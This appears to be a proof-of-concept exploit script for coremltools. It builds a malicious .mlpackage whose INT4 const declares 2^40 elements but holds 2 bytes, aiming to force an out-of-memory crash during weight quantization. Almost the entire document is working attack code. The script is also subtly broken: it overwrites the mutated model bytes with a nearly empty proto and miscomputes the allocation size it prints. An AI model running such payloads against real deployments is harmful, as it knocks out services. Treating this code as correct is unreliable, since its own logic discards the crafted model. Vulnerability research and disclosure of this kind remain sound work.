"""
CoreML CWE-789: Unbounded Allocation via np.prod(shape) in _restore_np_from_bytes_value
========================================================================================
Target:  coremltools (ct.optimize.coreml.linear_quantize_weights)
File:    coremltools/converters/mil/frontend/milproto/load.py:165
Finding: element_num = np.prod(shape) — shape fully attacker-controlled from .mlpackage.
         For sub-byte dtype (INT4), restore_elements_from_packed_bits allocates
         element_num elements from a tiny input buffer → massive allocation → OOM DoS.

This script builds /tmp/evil.mlpackage containing:
  - A const op with INT4 dtype, shape [2^40, 1] (1 trillion elements)
  - Only 2 bytes of actual data
  - Triggers: ct.optimize.coreml.linear_quantize_weights(mlmodel, config)

Vulnerable code (load.py:155-163):
    def _restore_np_from_bytes_value(value: bytes, dtype, shape):
        result = np.frombuffer(value, types.nptype_from_builtin(dtype))
        nbits = dtype.get_bitwidth()
        element_num = np.prod(shape)              # ← ATTACKER CONTROLLED, no cap
        return optimize_utils.restore_elements_from_packed_bits(
            result, nbits, element_num, ...)      # allocates element_num elements
        .reshape(shape)
"""

import os, sys, json

def build():
    import coremltools as ct
    from coremltools.proto import Model_pb2, MIL_pb2

    DIM = 2**40   # 1,099,511,627,776 int4 elements → needs ~137 GB to allocate

    # Build Model proto
    m = Model_pb2.Model()
    m.specificationVersion = 7   # iOS 16 / mlProgram required

    prog = m.mlProgram
    prog.version = 1

    # Build a minimal real mlprogram using the MIL builder, then mutate it
    from coremltools.converters.mil import Builder as mb
    from coremltools.converters.mil.mil import types as mil_types

    @mb.program(input_specs=[mb.TensorSpec(shape=(1,), dtype=mil_types.fp32)])
    def prog(x):
        # Start with a tiny fp32 const — we'll modify its type after serialization
        w = mb.const(val=__import__('numpy').array([1.0, 2.0, 3.0, 4.0], dtype='float32'), name='evil_weight')
        return w

    import coremltools as ct
    model = ct.convert(prog, minimum_deployment_target=ct.target.iOS16)
    spec = model.get_spec()

    # Find and mutate the const op
    mlprog = spec.mlProgram
    func = mlprog.functions['main']
    block_key = list(func.block_specializations.keys())[0]
    block = func.block_specializations[block_key]

    for op in block.operations:
        if op.type == 'const':
            for out in op.outputs:
                if out.name == 'evil_weight':
                    # Mutate: change to INT4 with huge shape
                    tt = out.type.tensorType
                    tt.dataType = MIL_pb2.INT4
                    tt.rank = 2
                    del tt.dimensions[:]
                    d1 = tt.dimensions.add(); d1.constant.size = DIM
                    d2 = tt.dimensions.add(); d2.constant.size = 1

                    # Replace value attribute
                    val = op.attributes['val']
                    val.type.CopyFrom(out.type)
                    val.ClearField('immediateValue')
                    val.immediateValue.tensor.bytes.values = b'\xab\xcd'  # 2 bytes
                    break

    model_bytes = spec.SerializeToString()

    # Serialize
    model_bytes = m.SerializeToString()

    # Write .mlpackage directory
    pkg = '/tmp/evil.mlpackage'
    model_dir = os.path.join(pkg, 'Data', 'com.apple.CoreML')
    os.makedirs(model_dir, exist_ok=True)

    with open(os.path.join(model_dir, 'model.mlmodel'), 'wb') as f:
        f.write(model_bytes)

    # manifest.json
    manifest = {
        'itemDescriptionVersion': '1.0',
        'items': [{
            'author': 'com.apple.coremltools',
            'description': 'Model',
            'name': 'model.mlmodel',
            'path': 'Data/com.apple.CoreML/model.mlmodel',
            'type': 'com.apple.CoreML.model'
        }]
    }
    with open(os.path.join(pkg, 'manifest.json'), 'w') as f:
        json.dump(manifest, f)

    print(f"[+] coremltools version: {ct.__version__}")
    print(f"[+] evil.mlpackage built at: {pkg}")
    print(f"[+] model.mlmodel size: {len(model_bytes)} bytes")
    print(f"[+] Const shape: [{DIM}, 1] = {DIM:,} INT4 elements")
    print(f"[+] Actual data: 2 bytes (4 INT4 values)")
    print(f"[+] element_num in exploit: {DIM:,} (= 2^40)")
    print(f"[+] Required allocation: ~{DIM // (1024**3 // 1):.0f} GB")

if __name__ == '__main__':
    try:
        build()
    except Exception as e:
        import traceback
        print(f"[-] Error: {e}")
        traceback.print_exc()